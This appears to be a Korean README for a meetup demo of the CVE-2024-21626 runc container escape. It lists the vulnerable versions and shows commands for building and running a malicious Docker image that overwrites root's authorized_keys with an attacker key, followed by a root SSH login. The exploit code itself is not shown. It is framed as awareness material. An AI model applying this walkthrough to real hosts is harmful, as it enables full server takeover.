
CVE-2024-21626 컨테이너 탈출 익스플로잇 시연으로, 악성 Docker 이미지를 통해 호스트 루트 접근을 허용하며, 교육 목적의 단계별 공격 시나리오를 제공합니다.
Container Runtime Meetup #5 LT용 데모입니다.
공지된 정보에 따라 공격의 위험성을 알리기 위한 목적이며, 악용은 엄격히 금지됩니다.
Container Runtime Meetup #5 〜그 이미지, 정말 신뢰할 수 있나요?〜 CVE-2024-21626로 호스트의 root를 탈취
데모용 노트북의 ssh_config에 victim-server로 등록되어 있는 머신입니다.
ssh victim-server
피해를 입기 위한 전제 조건으로서의 버전 정보:
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
마찬가지로
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys가 공격자의 공개 키로 덮어써져 있음원래 의도한 것이 아니므로 여기서는 아무것도 하지 않지만, 상황 확인을 위한 명령어를 보여줍니다.
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)